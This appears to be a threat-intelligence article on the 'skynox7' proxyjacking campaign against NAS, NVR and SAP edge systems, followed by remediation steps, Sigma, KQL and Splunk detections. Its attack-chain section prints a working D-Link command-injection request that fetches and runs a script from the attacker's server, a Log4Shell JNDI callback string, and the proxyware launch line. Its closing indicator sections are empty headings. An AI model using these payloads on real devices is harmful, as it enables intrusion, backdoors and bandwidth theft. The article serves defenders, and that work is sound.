Proxyjacking: How to Detect & Block Edge Device Bandwidth Theft

Executive Summary

A global threat investigation published by GreyNoise Intelligence has revealed an active, automated proxyjacking campaign attributed to a threat actor operating under the moniker skynox7. The campaign systematically breaches network-attached storage (NAS) devices, network video recorders (NVRs), and enterprise edge appliances across 34 countries to surreptitiously deploy commercial residential proxy software, siphoning victims' internet connections for illicit monetization.

The intrusion was initially uncovered during a live enterprise product demonstration when GreyNoise detected threat-flagged IP addresses within an organization's Microsoft Entra ID authentication logs. Crucially, forensic review revealed that multiple distinct corporate users were authenticating simultaneously from the exact same residential IP address—a telltale anomaly exposing how downstream threat actors purchase hijacked residential proxy access to bypass geolocation-based conditional access policies and "impossible travel" detection rules.

Rather than deploying destructive ransomware or cryptocurrency miners, the adversary capitalizes on bandwidth-sharing networks (specifically Pawns.app, an operating affiliate of IPRoyal). By deploying headless proxyware configured with the attacker's personal monetization account, skynox7 collects recurring passive income while leaving victim organizations exposed to ISP throttling, regulatory scrutiny, and downstream threat actor activity routing through their network perimeter.

Technical Vulnerability Analysis & Attack Chain

Root-Cause & Exploitation Mechanics

Telemetry gathered by GreyNoise reveals that skynox7 orchestrates mass scanning and automated exploitation from a centralized staging server located at `209.99.190.80`. The attacker targets end-of-life (EoL) and unpatched edge appliances using a sequence of known vulnerabilities:

1. D-Link ShareCenter NAS (CVE-2024-3272 & CVE-2024-3273):
   • Mechanics: The actor exploits hardcoded default credentials (messagebus with an empty password) combined with an unauthenticated command injection vulnerability in the nas_sharing.cgi URI via the system parameter.
   • Exploitation Vector: A single crafted HTTP POST request permits arbitrary shell commands to execute with elevated root privileges:

POST /cgi-bin/nas_sharing.cgi HTTP/1.1
Host: <victim-ip>
Content-Type: application/x-www-form-urlencoded

cmd=15&system=wget+http://209.99.190.80/stage.sh+-O+/tmp/s.sh;sh+/tmp/s.sh

1. Ubiquiti UniFi Video NVR (CVE-2021-44228 / Log4Shell):
   • Mechanics: Legacy UniFi Video controller services that remain exposed on internet-facing ports without applying vendor hotfixes process untrusted JNDI lookup strings.
   • Exploitation Vector: An attacker transmits JNDI injection headers (${jndi:ldap://209.99.190.80/a}) through vulnerable API endpoints, triggering outbound callbacks that download and execute ELF staging payloads.
2. SAP NetWeaver Visual Composer (CVE-2025-31324):
   • Mechanics: Pre-authenticated remote code execution flaw in unpatched SAP NetWeaver Visual Composer components, allowing attackers to write drop files and trigger shell commands under the operating system service account.
3. Secondary IoT Probing (Hikvision & Dahua NVR/DVRs):
   • Mechanics: Telemetry confirms opportunistic probing of Hikvision and Dahua IP surveillance recording units utilizing credential-stuffing dictionaries and unpatched command injection endpoints.

Proxyware Deployment & Persistence

Once arbitrary command execution is achieved on the edge appliance, the threat actor executes a staged shell script that carries out three primary actions:

• Volatile Staging: Fetches architecture-specific ELF binaries of Pawns.app (compiled for x86_64, ARM, and MIPS architectures) directly into volatile memory mounts (/tmp or /dev/shm) to evade simple filesystem timestamp sweeps.
• Monetization Execution: Spawns the headless Pawns.app client with command-line arguments linking the victim node directly to the attacker's account:

/tmp/pawns-cli -email=skynox7@proton.me -password=<redacted> -device-name=edge_node_<id> -accept-tos

• Out-of-Band SSH Backdoor: To retain operational control even if the proxy process dies or device configuration is rebooted, the script appends an attacker-controlled public OpenSSH key directly into ~/.ssh/authorized_keys or /etc/dropbear/authorized_keys.

Downstream Threat Implications: Entra ID Abuse & Evasion

The most hazardous consequence of proxyjacking is not bandwidth theft alone—it is the loss of IP reputation integrity. Commercial residential proxy networks like Pawns.app market their routing pool to third parties as clean, non-datacenter IP addresses.

When foreign intelligence operatives or cybercriminal rings purchase residential proxy streams:

• Bypassing Impossible Travel: Conditional Access policies configured in Microsoft Entra ID or Okta flag sign-ins originating from VPS hosting providers (DigitalOcean, AWS, Linode). When an attacker routes authentication through a residential D-Link or Ubiquiti device located in the employee's home region, security controls evaluate the sign-in as benign ISP residential traffic.
• Multi-User Anomalies: In the incident uncovered by GreyNoise, an adversary authenticated multiple compromised corporate user identities through the same residential proxy node within minutes, circumventing traditional geolocation baselines.

MITRE ATT&CK Tactics, Techniques & Procedures (TTPs)

Threat Actor Profile & Campaign Attribution

The campaign is tracked by GreyNoise as skynox7, identified through hardcoded runtime credentials and email registration artifacts (skynox7@proton.me) supplied during automated CLI provisioning of the Pawns.app agent.

• Monetization Engine: The actor relies on the affiliate model of Pawns.app (an IPRoyal affiliate), which compensates node operators via cryptocurrency (Bitcoin) or payment processors for every gigabyte of data proxied through the residential node.
• Target Selection: Rather than targeting high-value corporate domain controllers directly, skynox7 scans broad IP blocks for unmanaged, internet-exposed IoT and SOHO edge devices. Because these devices typically lack endpoint detection and response (EDR) agents and automated patching mechanisms, compromises frequently persist unnoticed for months.
• Geographic Distribution: GreyNoise confirmed at least 143 unique victim edge devices distributed across 34 countries, with heavy concentrations in North America, Europe, and East Asia.

Detection & SOC Mitigation Playbook

1. Concrete Remediation & Workarounds

Defenders and network administrators must execute the following forensic triage and remediation actions on all exposed perimeter and IoT appliances:

Step 1: Inspect and Terminate Rogue Proxy Processes Audit running processes on Linux-based routers, NAS servers, and NVRs for unauthorized proxyware binaries:

# Identify rogue processes running from volatile directories (/tmp, /dev/shm)
ps aux | grep -E 'pawns|iproyal|proxy|traffic' | grep -v grep

# Terminate suspicious processes immediately
pkill -9 -f pawns-cli

Step 2: Audit and Purge Backdoor SSH Authorized Keys Inspect and sanitize SSH key rings across all user and administrative accounts:

# Review authorized_keys files for untrusted keys
cat /root/.ssh/authorized_keys /etc/dropbear/authorized_keys 2>/dev/null

# Clean unauthorized keys and enforce strict permissions
truncate -s 0 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

Step 3: Restrict Perimeter WAN Management Interfaces Eliminate direct internet access to administrative panels (ports 80, 443, 8080, 8443) on D-Link, Ubiquiti, and IoT devices. Require access exclusively through an authenticated enterprise VPN or Zero Trust Network Access (ZTNA) gateway.

Step 4: Block Known Exploitation IP at the Perimeter Firewall Implement drop rules at edge firewalls and border routers for the scanning and staging node:

# Linux iptables perimeter rule
iptables -I INPUT -s 209.99.190.80 -j DROP
iptables -I FORWARD -s 209.99.190.80 -j DROP

2. Network & Perimeter Defenses

• Egress Proxy Sinkholing: Restrict edge IoT devices and NAS appliances from initiating outbound TCP sessions to non-standard ports (e.g. 5000–9999) and dynamic proxy pool subnets.
• Rate-Limiting Bandwidth Baselines: Configure NetFlow/IPFIX monitoring to alert when edge NAS or camera appliances experience sudden, sustained surges in outbound transfer volume incongruent with standard backup or video streaming schedules.

3. Endpoint Detection & Hunting Query

Sigma Rule: Unauthorized Proxyjacking Binary Execution in Volatile Paths

title: Execution of Pawns.app or Residential Proxyware Binary
id: b91f4d22-7e04-4c91-a18d-4f1295b9d3e8
status: experimental
description: Detects the command-line execution of Pawns.app or associated proxyjacking binaries from volatile Linux directories (/tmp, /dev/shm), indicating bandwidth monetization abuse.
author: CyberNewsAI Threat Research Team
references:
  - https://www.greynoise.io/blog/proxyjacking-edge-devices-residential-proxies
logsource:
  category: process_creation
  product: linux
detection:
  selection_path:
    Image|startswith:
      - '/tmp/'
      - '/dev/shm/'
      - '/var/tmp/'
  selection_cmdline:
    CommandLine|contains:
      - 'pawns-cli'
      - '-email='
      - 'skynox7@proton.me'
      - '-accept-tos'
      - 'iproyal'
  condition: selection_path and selection_cmdline
falsepositives:
  - Legitimate residential proxy software deliberately installed by an authorized endpoint administrator
level: high
tags:
  - attack.resource_hijacking
  - attack.t1496.001
  - attack.execution

Microsoft Sentinel / Defender KQL Hunting Query: Multi-User Residential IP Logins

// Detect multiple distinct enterprise users authenticating from the same residential IP address within 1 hour
SigninLogs
| where TimeGenerated >= ago(7d)
| where ResultType == 0 // Successful sign-ins
| where NetworkLocationDetails !has "Corporate" // Non-corporate IP addresses
| summarize 
    DistinctUserCount = dcount(UserPrincipalName),
    UserList = make_set(UserPrincipalName, 10),
    AppList = make_set(AppDisplayName, 5),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
  by IPAddress, Location
| where DistinctUserCount >= 3 // Alert when 3+ distinct enterprise users login via same residential IP
| project FirstSeen, LastSeen, IPAddress, Location, DistinctUserCount, UserList, AppList
| sort by DistinctUserCount desc

Splunk SPL Hunting Query: Unauthorized SSH Key Injection & Proxyware Execution

index=os (sourcetype=syslog OR sourcetype=bash_history OR sourcetype=auditd)
| eval command=lower(command)
| where (like(command, "%authorized_keys%") AND (like(command, "%curl%") OR like(command, "%wget%") OR like(command, "%echo%")))
     OR (like(command, "%pawns%") OR like(command, "%skynox7%") OR like(command, "%209.99.190.80%"))
| table _time, host, user, process, command

The following Indicators of Compromise have been verified against authoritative research telemetry published by GreyNoise Intelligence.

Attacker Infrastructure & Accounts

Malware & Proxyware Binary Hashes (SHA-256)

Targeted Vulnerabilities (CVEs)